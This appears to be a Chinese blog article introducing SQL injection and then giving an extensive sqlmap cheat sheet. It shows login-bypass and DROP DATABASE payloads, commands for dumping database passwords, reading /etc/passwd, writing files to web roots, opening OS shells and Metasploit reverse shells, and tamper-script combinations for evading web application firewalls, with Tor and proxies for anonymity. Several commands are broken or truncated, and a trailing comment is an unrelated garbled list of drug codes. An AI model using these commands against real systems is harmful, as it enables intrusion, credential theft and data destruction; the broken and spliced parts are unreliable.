您的位置 首页 php

SQL注入详解和SQL注入之超详细sqlmap使用攻略

一、什么是sql注入

  SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库。

二、SQL注入攻击的总体思路

  1. 寻找到SQL注入的位置
  2. 判断服务器类型和后台数据库类型
  3. 针对不同的服务器和数据库特点进行SQL注入攻击

三、SQL注入攻击实例

 String sql = "select * from user_table where username=
' "+userName+" ' and password=' "+password+" '";

--当输入了上面的用户名和密码,上面的SQL语句变成:
SELECT * FROM user_table WHERE username=
'’or 1 = 1 -- and password='’

"""
--分析SQL语句:
--条件后面username=”or 1=1 用户名等于 ” 或1=1 那么这个条件一定会成功;

--然后后面加两个-,这意味着注释,它将后面的语句注释,让他们不起作用,这样语句永远都--能正确执行,用户轻易骗过系统,获取合法身份。
--这还是比较温柔的,如果是执行
SELECT * FROM user_table WHERE
username='' ;DROP DATABASE (DB Name) --' and password=''
--其后果可想而知…
"""  

前言

干过sql注入的小伙伴们一定听说过sqlmap的大名,但是面对一些特殊情况,sqlmap也不一定”好使”,这里的”好使”并不是真正不好使的意思,而是用法不对,在这里就总结一下sqlmap的用法大全

基本操作

 基本操作笔记:-u  #注入点 
-f  #指纹判别数据库类型 
-b  #获取数据库版本信息 
-p  #指定可测试的参数(?page=1&id=2 -p "page,id") 
-D ""  #指定数据库名 
-T ""  #指定表名 
-C ""  #指定字段 
-s ""  #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s "xx.log"  恢复:-s "xx.log" --resume) 
--level=(1-5) #要执行的测试水平等级,默认为1 
--risk=(0-3)  #测试执行的风险等级,默认为1 
--time-sec=(2,5) #延迟响应,默认为5 
--data #通过POST发送数据 
--columns        #列出字段 
--current-user   #获取当前用户名称 
--current-db     #获取当前数据库名称 
--users          #列数据库所有用户 
--passwords      #数据库用户所有密码 
--privileges     #查看用户权限(--privileges -U root) 
-U               #指定数据库用户 
--dbs            #列出所有数据库 
--tables -D ""   #列出指定数据库中的表 
--columns -T "user" -D "mysql"      #列出mysql数据库中的user表的所有字段 
--dump-all            #列出所有数据库所有表 
--exclude-sysdbs      #只列出用户自己新建的数据库和表 
--dump -T "" -D "" -C ""   #列出指定数据库的表的字段的数据(--dump -T users -D master -C surname) 
--dump -T "" -D "" --start 2 --top 4  # 列出指定数据库的表的2-4字段的数据 
--dbms    #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB) 
--os      #指定系统(Linux,Windows) 
-v  #详细的等级(0-6) 
    0:只显示Python的回溯,错误和关键消息。 
    1:显示信息和警告消息。 
    2:显示调试消息。 
    3:有效载荷注入。 
    4:显示HTTP请求。 
    5:显示HTTP响应头。 
    6:显示HTTP响应页面的内容 
--privileges  #查看权限 
--is-dba      #是否是数据库管理员 
--roles       #枚举数据库用户角色 
--udf-inject  #导入用户自定义函数(获取系统权限) 
--union-check  #是否支持union 注入 
--union-cols #union 查询表记录 
--union-test #union 语句测试 
--union-use  #采用union 注入 
--union-tech orderby #union配合order by 
--data "" #POST方式提交数据(--data "page=1&id=2") 
--cookie "用;号分开"      #cookie注入(--cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”) 
--referer ""     #使用referer欺骗(--referer "#34;) 
--user-agent ""  #自定义user-agent 
--proxy "#34; #代理注入 
--string=""    #指定关键词,字符串匹配. 
--threads     #采用多线程(--threads 3) 
--sql-shell    #执行指定sql命令 
--sql-query    #执行指定的sql语句(--sql-query "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" ) 
--file-read    #读取指定文件 
--file-write   #写入本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt) 
--file-dest    #要写入的文件绝对路径 
--os-cmd=id    #执行系统命令 
--os-shell     #系统交互shell 
--os-pwn       #反弹shell(--os-pwn --msf-path=/opt/framework/msf3/) 
--msf-path=    #matesploit绝对路径(--msf-path=/opt/framework/msf3/) 
--os-smbrelay  # 
--os-bof       # 
--reg-read     #读取win系统注册表 
--priv-esc     # 
--time-sec=    #延迟设置 默认--time-sec=5 为5秒 
-p "user-agent" --user-agent "sqlmap/0.7rc1 (#34;  #指定user-agent注入 
--eta          #盲注 
/pentest/database/sqlmap/txt/
common-columns.txt  字段字典    
common-outputs.txt 
common-tables.txt      表字典 
keywords.txt 
oracle-default-passwords.txt 
user-agents.txt 
wordlist.txt 

常用语句 :
1./sqlmap.py -u  -f -b --current-user --current-db --users --passwords --dbs -v 0 
2./sqlmap.py -u  -b --passwords -U root --union-use -v 2 
3./sqlmap.py -u  -b --dump -T users -C username -D userdb --start 2 --stop 3 -v 2 
4./sqlmap.py -u  -b --dump -C "user,pass"  -v 1 --exclude-sysdbs 
5./sqlmap.py -u  -b --sql-shell -v 2 
6./sqlmap.py -u  -b --file-read "c:boot.ini" -v 2 
7./sqlmap.py -u  -b --file-write /test/test.txt --file-dest /var/www/html/1.txt -v 2 
8./sqlmap.py -u  -b --os-cmd "id" -v 1 
9./sqlmap.py -u  -b --os-shell --union-use -v 2 
10./sqlmap.py -u  -b --os-pwn --msf-path=/opt/framework/msf3 --priv-esc -v 1 
11./sqlmap.py -u  -b --os-pwn --msf-path=/opt/framework/msf3 -v 1 
12./sqlmap.py -u  -b --os-bof --msf-path=/opt/framework/msf3 -v 1 
13./sqlmap.py -u  --reg-add --reg-key="HKEY_LOCAL_NACHINESOFEWAREsqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1 
14./sqlmap.py -u  -b --eta 
15./sqlmap.py -u "#34; -p id --prefix "')" --suffix "AND ('abc'='abc"
16./sqlmap.py -u "#34; --auth-type Basic --auth-cred "testuser:testpass"
17./sqlmap.py -l burp.log --scope="(www)?.target.(com|net|org)"
18./sqlmap.py -u "#34; --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3 
19./sqlmap.py -u "#34; --sql-query "SELECT 'foo'" -v 1 
20./sqlmap.py -u "#34; --common-tables -D testdb --banner 
21./sqlmap.py -u "#34; --cookie="PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low" --string='xx' --dbs --level=3 -p "uid"

简单的注入流程 :
1.读取数据库版本,当前用户,当前数据库 
sqlmap -u  -f -b --current-user --current-db -v 1 
2.判断当前数据库用户权限 
sqlmap -u  --privileges -U 用户名 -v 1 
sqlmap -u  --is-dba -U 用户名 -v 1 
3.读取所有数据库用户或指定数据库用户的密码 
sqlmap -u  --users --passwords -v 2 
sqlmap -u  --passwords -U root -v 2 
4.获取所有数据库 
sqlmap -u  --dbs -v 2 
5.获取指定数据库中的所有表 
sqlmap -u  --tables -D mysql -v 2 
6.获取指定数据库名中指定表的字段 
sqlmap -u  --columns -D mysql -T users -v 2 
7.获取指定数据库名中指定表中指定字段的数据 
sqlmap -u  --dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2 
8.file-read读取web文件 
sqlmap -u  --file-read "/etc/passwd" -v 2 
9.file-write写入文件到web 
sqlmap -u  --file-write /localhost/mm.php --file使用sqlmap绕过防火墙进行注入测试:  

确认WAF

首先我们判断该Web服务器是否被WAF/IPS/IDS保护着。这点很容易实现,因为我们在漏扫或者使用专门工具来检测是否有WAF,这个检测,在nmap的NSE,或者WVS的策略或者APPSCAN的策略中都有,可以利用这些来判断。

在此,也介绍使用sqlmap 进行检测是否有WAF/IPS/IDS

 root@kali:~# sqlmap -u "#34; --thread 10 --identify-waf#首选
root@kali:~# sqlmap -u "#34; --thread 10  --check-waf#备选  

使用参数进行绕过

#使用任意浏览器进行绕过,尤其是在WAF配置不当的时候

 root@kali:~# sqlmap -u "#34; --random-agent -v 2  

#使用长的延时来避免触发WAF的机制,这方式比较耗时

 root@kali:~# sqlmap -u "#34; --delay=3.5 --time-sec=60  

#使用代理进行注入

 root@kali:~# sqlmap -u "#34; --proxy=211.211.211.211:8080 --proxy-cred=211:985  

#禁止使用系统的代理,直接连接进行注入

 root@kali:~# sqlmap -u "#34; --ignore-proxy  

#清空会话,重构注入

 root@kali:~# sqlmap -u "#34; --flush-session  

#或者使用参数 –no-cast ,进行字符码转换

 root@kali:~# sqlmap -u "#34; --hex  

#对移动端的服务器进行注入

 root@kali:~# sqlmap -u "#34;  --mobile  

#匿名注入

 root@kali:~# sqlmap -u "#34; --tor  

使用脚本进行绕过

使用格式

 root@kali:~# sqlmap -u "#34; --tamper=A.py,B.py#脚本A,脚本B  

脚本作用

  1. apostrophemask.py#用utf8代替引号;
 Example: ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'  
  1. equaltolike.py#MSSQL * SQLite中like 代替等号;
 Example:  Input: SELECT * FROM users WHERE id=1 ;Output: SELECT * FROM users WHERE id LIKE 1  
  1. greatest.py#MySQL中绕过过滤’>’ ,用GREATEST替换大于号;
 Example: ('1 AND A > B') '1 AND GREATEST(A,B+1)=A'  
  1. space2hash.py#空格替换为#号 随机字符串 以及换行符;
 Input: 1 AND 9227=9227;Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227  
  1. apostrophenullencode.py#MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL绕过过滤双引号,替换字符和双引号;
  2. halfversionedmorekeywords.py#当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论;
  3. space2morehash.py#MySQL中空格替换为 #号 以及更多随机字符串 换行符;
    1. appendnullbyte.py#Microsoft Access在有效负荷结束位置加载零字节字符编码;

 Example: ('1 AND 1=1') '1 AND 1=1%00'  
  1. ifnull2ifisnull.py#MySQL,SQLite (possibly),SAP MaxDB绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’
  2. space2mssqlblank.py(mssql)#mssql空格替换为其它空符号
  3. base64encode.py#用base64编码
 Example: ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' Requirement: all  
  1. space2mssqlhash.py#mssql查询中替换空格
  2. modsecurityversioned.py#(mysql中过滤空格,包含完整的查询版本注释;Example: (‘1 AND 2>1–‘) ‘1 /*!30874AND 2>1*/–‘
  3. space2mysqlblank.py#(mysql中空格替换其它空白符号
  4. between.py#MS SQL 2005,MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0中用between替换大于号(>)
  5. space2mysqldash.py#MySQL,MSSQL替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
  6. multiplespaces.py#围绕SQL关键字添加多个空格;
 Example: ('1 UNION SELECT foobar') '1 UNION SELECT foobar'  
  1. space2plus.py#用+替换空格;
 Example: ('SELECT id FROM users') 'SELECT+id+FROM+users'  
  1. bluecoat.py#MySQL 5.1, SGOS代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like
  2. nonrecursivereplacement.py#双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters
  3. space2randomblank.py#代替空格字符(“”)从一个随机的空白字符可选字符的有效集
  4. sp_password.py#追加sp_password’从DBMS日志的自动模糊处理的26 有效载荷的末尾
  5. chardoubleencode.py#双url编码(不处理以编码的)
  6. unionalltounion.py#替换UNION ALL SELECT UNION SELECT;
 Example: ('-1 UNION ALL SELECT') '-1 UNION SELECT'  
  1. charencode.py#Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0url编码;
  2. randomcase.py#Microsoft SQL Server 2005,MySQL 4, 5.0 and 5.5,Oracle 10g,PostgreSQL 8.3, 8.4, 9.0中随机大小写
  3. unmagicquotes.py#宽字符绕过 GPC addslashes;
 Example: * Input: 1′ AND 1=1 * Output: 1%bf%27 AND 1=1–%20  
  1. randomcomments.py#用/**/分割sql关键字;
 Example:‘INSERT’ becomes ‘IN//S//ERT’  
  1. charunicodeencode.py#ASP,中字符串 unicode 编码;
  2. securesphere.py#追加特制的字符串;
    Example: (‘1 AND 1=1’) “1 AND 1=1 and ‘0having’=’0having'”
  3. versionedmorekeywords.py#MySQL >= 5.1.13注释绕过
  4. space2comment.py#Replaces space character (‘ ‘) with comments ‘/**/’
  5. halfversionedmorekeywords.py#MySQL < 5.1中关键字前加注释

脚本参数组合策略绕过

mysql绕过

 root@kali:~# sqlmap -u "#34; --random-agent -v 2 -delay=3.5 --tamper=space2hash.py,modsecurityversioned.py


root@kali:~# sqlmap -u "#34; --random-agent --hpp  --tamper=space2mysqldash.p,versionedmorekeywords.py


root@kali:~# sqlmap -u "#34;  -delay=3.5  ----user-agent=" Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/38.0.696.12 Safari/534.24” --tamper=apostrophemask.py,equaltolike.py  

备注 :这些组合策略可以根据注入的反馈信息,及时调整组合策略

mssql绕过

 root@kali:~# sqlmap -u "#34;  -delay=3.5  ----user-agent=" Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/38.0.696.12 Safari/534.24” --tamper=randomcase.py,charencode.py

root@kali:~# sqlmap -u "#34;  --delay=3.5 --hpp --tamper=space2comment.py,randomcase.py

root@kali:~# sqlmap -u "#34;  --delay=3.5 --time-sec=120  --tamper=space2mssqlblank.py,securesphere.py

root@kali:~# sqlmap -u "#34;  --delay=3.5 --tamper=unionalltounion.py,base64encode.p  

access

 root@kali:~# sqlmap -u "#34;  --delay=3.5 --random-agent  --tamper=appendnullbyte.py,space2plus.py

root@kali:~# sqlmap -u "#34;  --delay=3.5 --random-agent --hpp  --tamper=chardoubleencode.py  

Oracle

 root@kali:~# sqlmap -u "#34;  --delay=5 --random-agent --hpp --tamper=unmagicquotes.py,unionalltounion.py

root@kali:~# sqlmap -u "#34;  --delay=5--user-agent =“Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0” --hpp --tamper=charunicodeencode.py,chardoubleencode.py  

思维导图

SQL注入详解和SQL注入之超详细sqlmap使用攻略

文章来源:智云一二三科技

文章标题:SQL注入详解和SQL注入之超详细sqlmap使用攻略

文章地址:https://www.zhihuclub.com/154425.shtml

关于作者: 智云科技

热门文章

评论已关闭

2条评论

  1. Timololo C07AA06 Sotalolo C07AA07 Nadololo C07AA12 Mepindololo C07AA14 Carteololo C07AA15 Tertatololo C07AA16 Bopindololo C07AA17 Bupranololo C07AA19 Penbutololo C07AA23 Cloranololo C07AA27 Sotalolo, Associazioni Estemporanee Preconfezionate C07AA57 Carazololo C07AA90 Betabloccanti, Selettivi C07AB Practololo C07AB01 Metoprololo C07AB02 Atenololo C07AB03 Acebutololo C07AB04 Betaxololo C07AB05 Bevantololo C07AB06 Bisoprololo C07AB07 Celiprololo C07AB08 Esmololo C07AB09 Epanololo C07AB10 S Atenololo C07AB11 Nebivololo C07AB12 Talinololo C07AB13 Metoprololo, Associazioni Confezionate C07AB52 Bisoprololo, Associazioni C07AB57 Bloccanti Dei Recettori Alfa E Beta Adrenergici C07AG Labetalolo C07AG01 Carvedilolo C07AG02 Betabloccanti E Tiazidi C07B Betabloccanti Non Selettivi E Tiazidi C07BA Oxprenololo E Tiazidi C07BA02 Propranololo E Tiazidi C07BA05 Timololo E Tiazidi C07BA06 Sotalolo E Tiazidi C07BA07 Nadololo E Tiazidi C07BA12 Metipranololo E Tiazidi, Associazioni C07BA68 Betabloccanti Selettivi E Tiazidi C07BB Metoprololo E Tiazidi C07BB02 Atenololo E Tiazidi C07BB03 Acebutololo E Tiazidi C07BB04 Bevantololo E Tiazidi C07BB06 Bisoprololo E Tiazidi C07BB07 Nebivololo E Tiazidi C07BB12 Metoprololo E Tiazidi, Associazioni C07BB52 Bloccanti Dei Recettori Alfa E Beta E Tiazidi C07BG Labetalolo E Tiazidi C07BG01 Betabloccanti Ed Altri Diuretici C07C Betabloccanti Non Selettivi Ed Altri Diuretici C07CA Oxprenololo Ed Altri Diuretici C07CA02 Pindololo Ed Altri Diuretici C07CA03 Bopindololo Ed Altri Diuretici C07CA17 Penbutololo Ed Altri Diuretici C07CA23 Betabloccanti Selettivi Ed Altri Diuretici C07CB Metoprololo Ed Altri Diuretici C07CB02 Atenololo Ed Altri Diuretici C07CB03 Atenololo Ed Altri Diuretici, Associazione C07CB53 Alfa E Betabloccanti Ed Altri Diuretici C07CG Labetalolo Ed Altri Diuretici C07CG01 Betabloccanti, Tiazidi Ed Altri Diuretici C07D Betabloccanti Non Selettivi, Tiazidi Ed Altri Diuretici C07DA Timololo, Tiazidi Ed Altri Diuretici C07DA06 Betabloccanti Selettivi, Tiazidi Ed Altri Diuretici C07DB Atenololo, Tiazidi Ed Altri Diuretici C07DB01 Betabloccanti E Vasodilatatori C07E Betabloccanti Non Selettivi E Vasodilatatori C07EA Betabloccanti Selettivi E Vasodilatatori C07EB Betabloccanti Ed Altri Antiipertensivi C07F Betabloccanti Non Selettivi Ed Altri Antiipertensivi C07FA Propranololo Ed Altri Antiipertensivi C07FA05 Betabloccanti Selettivi Ed Altri Antiipertensivi C07FB Metoprololo Ed Altri Antiipertensivi C07FB02 Atenololo Ed Altri Antiipertensivi C07FB03 Bisoprololo Ed Altri Antipertensivi C07FB07 Calcio Antagonisti C08 Calcio Antagonisti Selettivi Con Preval

网站地图